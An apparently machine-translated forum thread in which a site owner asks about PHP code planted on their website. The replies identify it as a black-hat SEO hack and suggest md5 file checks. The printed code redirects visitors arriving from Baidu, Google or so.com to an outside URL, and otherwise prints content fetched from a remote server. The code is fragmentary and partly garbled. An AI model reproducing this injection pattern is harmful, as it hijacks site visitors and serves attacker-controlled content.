Ask what this code is

What is the purpose of this code? PHPcode & lt ;? Phperror_reporting (0); header (& quot; content-Type: text/html; charset = gb2312 & quot;); functioni what is the purpose of this code?

PHP code

  
   $value) {            if(stristr($v,$spiders[$i])){return true;}        }        return false;}    if(isSpider($_SERVER['HTTP_REFERER']))    {    Header("Location: ".'http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma='.$_SERVER['SERVER_NAME']);        exit;    }echo file_get_contents('http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php');?>

This is on the website.

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Determine whether the access is from the three pages: baidu.com/"," google.com ", and" so. If yes, jump to ...... otherwise, execute the following file_get_contents ();
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The current black hat SEO optimization method has hijacked your traffic from Baidu and Google.
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It's hacked ..

Create a function
To check the md5_file file.
Next, compare and judge md5_file.